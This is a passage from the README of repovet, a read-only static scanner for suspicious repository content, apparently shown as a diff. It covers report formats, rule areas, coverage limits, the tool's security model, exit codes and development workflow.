category, the findings, the coverage gaps ("Not checked"), facts (`source` for URL
|
|
311
|
+
targets, `trust` and `provenance` profiles) and the disclaimer. The structure is
|
|
312
|
+
described in
|
|
313
|
+
[docs/report.schema.json](https://github.com/m3xXmo0/repovet/blob/main/docs/report.schema.json)
|
|
314
|
+
(`schema_version` 1.2).
|
|
315
|
+
- **SARIF 2.1.0** (`--format sarif`) for GitHub code scanning and SARIF viewers: every
|
|
316
|
+
rule with title, reason, recommendation and `security-severity`; `critical`/`high`
|
|
317
|
+
findings have level `error`, `medium` `warning`, `low`/`info` `note`. Paths are
|
|
318
|
+
relative to `SRCROOT` (the checked folder). Coverage gaps appear as tool execution
|
|
319
|
+
notifications. Findings that concern a whole file point to line 1. The trust and
|
|
320
|
+
provenance profiles are in `runs[0].properties.facts`. For URL targets, `SRCROOT` is the GitHub
|
|
321
|
+
URL of the checked commit.
|
|
322
|
+
|
|
323
|
+
Both formats contain only ASCII: text from the repository is sanitized like in the
|
|
324
|
+
terminal report, and file paths in SARIF are percent-encoded. `--min-severity` filters
|
|
325
|
+
both; the exit code never depends on the format.
|
|
326
|
+
|
|
327
|
+
## What is checked
|
|
328
|
+
|
|
329
|
+
Severity says how bad it is if the finding means what the rule claims; confidence says
|
|
330
|
+
how likely that is. `critical` and `high` mean code runs automatically during normal use
|
|
331
|
+
(install, build, opening the folder, starting an agent) or something is clearly
|
|
332
|
+
disguised.
|
|
333
|
+
|
|
334
|
+
[RULES.md](https://github.com/m3xXmo0/repovet/blob/main/RULES.md) lists every rule
|
|
335
|
+
with its ID, severity and description; it is generated from the YAML rules in
|
|
336
|
+
`src/repovet/rules/`. `repovet rules list` shows the same list in the terminal
|
|
337
|
+
(`--area` to pick one area). The rules are grouped in these areas:
|
|
338
|
+
|
|
339
|
+
| Area | IDs | Looks for |
|
|
340
|
+
|------|-----|-----------|
|
|
341
|
+
| `autorun` | `RC-AUTO` | code that runs on install, build, opening the folder or a double-click (npm, Python builds, VS Code, dev containers, Git hooks and config, Makefiles, Windows, macOS and Linux shell files, GitHub Actions, MSBuild) |
|
|
342
|
+
| `agents` | `RC-AGENT` | instructions and settings for AI coding agents: hidden text, broad permissions, hooks, MCP servers, imports of secrets |
|
|
343
|
+
| `obfuscation` | `RC-OBF` | encoded or packed code, invisible characters and look-alike letters in source |
|
|
344
|
+
| `download_exec` | `RC-DLX` | code that downloads and runs more code |
|
|
345
|
+
| `binaries` | `RC-BIN` | programs, archives, disguised files and file-system tricks |
|
|
346
|
+
| `dependencies` | `RC-DEP` | typosquatted names and unusual package sources |
|
|
347
|
+
| `provenance` | `RC-PROV` | indicators from languages, structure and Git history |
|
|
348
|
+
| `trust` | `RC-TRUST` | indicators from the GitHub API (owner, stars, activity, copies) |
|
|
349
|
+
|
|
350
|
+
Rules are data, not code: each one is a YAML entry with an ID, severity, confidence,
|
|
351
|
+
file patterns, a check, and texts for message, reason and recommendation. Rule IDs are
|
|
352
|
+
never renamed or reused.
|
|
353
|
+
|
|
354
|
+
## Limits: what is not checked
|
|
355
|
+
|
|
356
|
+
**"No findings" does not mean "safe".** It only means that none of the rules matched
|
|
357
|
+
in the part of the repository that was checked. repovet looks for known patterns with
|
|
358
|
+
few false alarms; an attacker who knows the rules can avoid them.
|
|
359
|
+
|
|
360
|
+
Not checked today:
|
|
361
|
+
|
|
362
|
+
- **Trust** needs the GitHub API: with `--offline`, for a folder without a GitHub
|
|
363
|
+
remote, or when the API cannot be reached or its rate limit is used up, the report
|
|
364
|
+
lists it under "Not checked" (the scan itself continues).
|
|
365
|
+
- **Provenance profile:** languages are recognized by file extension or name only, and
|
|
366
|
+
licenses by distinctive phrases of common license texts; neither is a code or legal
|
|
367
|
+
review. A local folder's `.git` folder is not part of the profile.
|
|
368
|
+
- **Git history** is read only from a URL clone or a local `.git` folder that has no
|
|
369
|
+
links, no alternates and no `commondir` (otherwise it is listed under "Not checked");
|
|
370
|
+
at most 100,000 commits. Commit dates, authors and trailers are free text chosen by
|
|
371
|
+
whoever commits, so all history facts are indicators. AI indicators only show that a
|
|
372
|
+
tool was named, not who or what wrote the code. SHA-256 repositories and reftable
|
|
373
|
+
refs are not supported.
|
|
374
|
+
- **Dependencies** are checked by name and declared source only, offline: names are
|
|
375
|
+
compared with lists of the most downloaded PyPI and npm packages shipped with
|
|
376
|
+
repovet (see `src/repovet/data/SOURCES.md`). The code and install scripts of
|
|
377
|
+
dependencies, known vulnerabilities and transitive dependencies are not checked;
|
|
378
|
+
Rust, Go, Ruby, PHP and Java dependencies are not checked at all.
|
|
379
|
+
- **Binary files** are recognized by their signature only: archives are not unpacked,
|
|
380
|
+
programs and documents are not analyzed. Content of Git submodules and Git LFS
|
|
381
|
+
objects is not checked; both are listed under "Not checked".
|
|
382
|
+
- **Obfuscation and download-and-execute** are only checked in source and script files
|
|
383
|
+
(not in Markdown, JSON or notebooks), not in test modules (`test_*.py`, `*.test.ts`,
|
|
384
|
+
`testdata/`, `fixtures/`, ...) and, for the noisier rules, not in build output
|
|
385
|
+
(`dist/`, `build/`, `*.min.js`, ...). Code in comment lines is ignored. Downloads
|
|
386
|
+
that are split over several lines or files are not recognized.
|
|
387
|
+
- **Auto-run surfaces that are recognized but not analyzed:** Maven, `go:generate`,
|
|
388
|
+
CMake, JetBrains `.idea/` settings. Others are only partly checked: GitHub Actions
|
|
389
|
+
workflows for `pull_request_target` checkouts and encoded commands, MSBuild files for
|
|
390
|
+
`Exec`, `DownloadFile` and inline tasks, Rust `build.rs` for network access, Composer
|
|
391
|
+
for install hooks and downloads, Gradle for external commands, downloads and the
|
|
392
|
+
wrapper URL, Ruby gemspecs, Rakefiles and Gemfiles for native extensions and
|
|
393
|
+
downloads. If present, they are listed under "Not checked".
|
|
394
|
+
- **URL targets:** only public repositories on `https://github.com/<owner>/<repo>`;
|
|
395
|
+
other hosts and SSH, `git://` or `file://` URLs are rejected. Git submodules are
|
|
396
|
+
listed, never fetched. The default limits are 500 MB download and 300 seconds.
|
|
397
|
+
- **Skipped files:** files larger than `--max-file-size` (default 2 MB), environment and
|
|
398
|
+
tool cache folders unless `--include-env-dirs` is given, symlinks and junctions (listed,
|
|
399
|
+
never followed), files that cannot be read or parsed. All of them appear under
|
|
400
|
+
"Not checked".
|
|
401
|
+
- **Line numbers** in JSON, TOML and YAML files are best effort.
|
|
402
|
+
- **Out of scope by design:** running, sandboxing or dynamic analysis of repository code;
|
|
403
|
+
known vulnerabilities (CVE) in dependencies (use pip-audit, npm audit or OSV-Scanner);
|
|
404
|
+
leaked secrets; antivirus signatures; a total score or a safe/unsafe verdict.
|
|
405
|
+
|
|
406
|
+
Read the "Not checked" section of every report. Gaps in coverage do not change the exit
|
|
407
|
+
code.
|
|
408
|
+
|
|
409
|
+
## Security model
|
|
410
|
+
|
|
411
|
+
- **Nothing from the checked repository is executed:** no scripts, hooks, builds, package
|
|
412
|
+
managers or imports. Python files are only parsed with `ast.parse`; YAML is only read
|
|
413
|
+
with a safe loader with size and alias limits. Ruff rules (`banned-api`,
|
|
414
|
+
flake8-bandit) and a self-check test forbid `subprocess`, `os.system`, `eval`, `exec`,
|
|
415
|
+
`pickle` and similar in repovet's own code.
|
|
416
|
+
- **Offline analysis:** the analysis of files and history makes no network connections.
|
|
417
|
+
There are only two: for a URL target the HTTPS download from github.com (TLS
|
|
418
|
+
verified, no Git configuration, credential helpers or stored passwords are used),
|
|
419
|
+
and for the trust area HTTPS requests to `api.github.com` only (no other host, no
|
|
420
|
+
redirect elsewhere, at most 1 MiB per answer, a fixed request budget per scan).
|
|
421
|
+
`--offline` switches the API off; a local folder with `--offline` makes no
|
|
422
|
+
connection at all. The test suite blocks sockets to make sure of that; API tests use
|
|
423
|
+
recorded answers, and the clone tests use a local Git server on 127.0.0.1 only.
|
|
424
|
+
- **Read-only:** files are only opened for reading; nothing in the checked folder is
|
|
425
|
+
changed. Symlinks, junctions and reparse points are not followed. Inside `.git/`, only
|
|
426
|
+
`config`, `hooks/*` and `info/attributes` are read, as plain files.
|
|
427
|
+
- **No `git` binary:** repovet never calls `git`, so Git configuration in the checked
|
|
428
|
+
repository (for example `core.fsmonitor`, filters or pagers) can never run. GitHub
|
|
429
|
+
URLs are fetched with [dulwich](https://www.dulwich.io/), a pure-Python Git
|
|
430
|
+
implementation: only the pack file is downloaded into a fresh temporary folder (no
|
|
431
|
+
working tree, refs, hooks, submodules, LFS or filters), and files are read from the
|
|
432
|
+
Git objects in memory. Object sizes are checked before anything is unpacked, so a
|
|
433
|
+
small download cannot inflate into gigabytes. The folder is deleted after the scan.
|
|
434
|
+
|
|
435
|
+
Found a way to break one of these guarantees? Please report it privately, as described
|
|
436
|
+
in [SECURITY.md](https://github.com/m3xXmo0/repovet/blob/main/SECURITY.md).
|
|
437
|
+
|
|
438
|
+
## Exit codes
|
|
439
|
+
|
|
440
|
+
The exit codes are a stable interface for scripts and CI:
|
|
441
|
+
|
|
442
|
+
| Code | Meaning |
|
|
443
|
+
|------|---------------------------------------------------------------------------------|
|
|
444
|
+
| 0 | No findings at or above `--fail-on` (this does not mean the repository is safe) |
|
|
445
|
+
| 1 | At least one finding at or above `--fail-on` |
|
|
446
|
+
| 2 | Usage error: invalid arguments, target not found, invalid rules file, unsupported URL |
|
|
447
|
+
| 3 | Analysis aborted: download failed or hit a limit, internal error, interruption |
|
|
448
|
+
|
|
449
|
+
## Development
|
|
450
|
+
|
|
451
|
+
```
|
|
452
|
+
uv sync # create .venv with the pinned dev tools
|
|
453
|
+
uv run pytest # all tests
|
|
454
|
+
uv run mypy # strict type check of src and tests
|
|
455
|
+
uv run ruff check # lint, including security rules
|
|
456
|
+
uv run ruff format --check # formatting
|
|
457
|
+
```
|
|
458
|
+
|
|
459
|
+
All four must pass before a change is done. `uv run pytest -m "not slow"` skips the
|
|
460
|
+
performance test (10,000 generated files).
|
|
461
|
+
|
|
462
|
+
Every rule has at least one positive and one harmless test case in
|
|
463
|
+
`tests/rule_cases/*.yaml`; a meta test fails otherwise. Test fixtures are written to a
|
|
464
|
+
temporary folder only during the test, and every regular expression is tested against
|
|
465
|
+
pathological inputs (ReDoS).
|
|
466
|
+
|
|
467
|
+
After changing rules, regenerate the tables in
|
|
468
|
+
[RULES.md](https://github.com/m3xXmo0/repovet/blob/main/RULES.md) with
|
|
469
|
+
`uv run repovet rules list --markdown` and paste them between the `rules-table`
|
|
470
|
+
markers; `tests/test_readme.py` checks it.
|
|
471
|
+
|
|
472
|
+
**False-positive corpus:** `tests/corpus/corpus.yaml` lists real open-source
|
|
473
|
+
repositories pinned to a commit (each one can also be checked by URL, see the corpus
|
|
474
|
+
README). `tests/test_corpus.py` scans each and fails on high or critical findings that
|
|
475
|
+
are not explicitly accepted. Tests never download anything, so the test is skipped
|
|
476
|
+
unless `REPOVET_CORPUS_DIR` points to the extracted repositories. See
|
|
477
|
+
[tests/corpus/README.md](https://github.com/m3xXmo0/repovet/blob/main/tests/corpus/README.md)
|
|
478
|
+
for downloading and running it:
|
|
479
|
+
|
|
480
|
+
```
|
|
481
|
+
# Bash
|
|
482
|
+
REPOVET_CORPUS_DIR=/path/to/corpus uv run pytest -m corpus
|
|
483
|
+
|
|
484
|
+
# PowerShell
|
|
485
|
+
$env:REPOVET_CORPUS_DIR = "C:\path\to\corpus"; uv run pytest -m corpus
|
|
486
|
+
```
|
|
487
|
+
|
|
488
|
+
## Roadmap
|
|
489
|
+
|
|
490
|
+
Changes per version are listed in
|
|
491
|
+
[CHANGELOG.md](https://github.com/m3xXmo0/repovet/blob/main/CHANGELOG.md). Possible
|
|
492
|
+
next steps, without dates: Maven (`pom.xml`), Python 3.14 in CI, and an optional
|
|
493
|
+
online lookup of known malicious packages.
|
|
494
|
+
|
|
495
|
+
## License
|
|
496
|
+
|
|
497
|
+
MIT, see [LICENSE](https://github.com/m3xXmo0/repovet/blob/main/LICENSE).
|
|
498
|
+
Copyright (c) 2026 m3xXmo0.
|
|
499
|
+
|
|
500
|
+
repovet ships two lists of package names as data (see
|
|
501
|
+
`src/repovet/data/SOURCES.md`): the most downloaded PyPI projects from
|
|
502
|
+
"top-pypi-packages" by Hugo van Kemenade (CC BY 4.0), and the most downloaded npm
|
|
503
|
+
packages from npm-high-impact by Titus Wormer (MIT).
|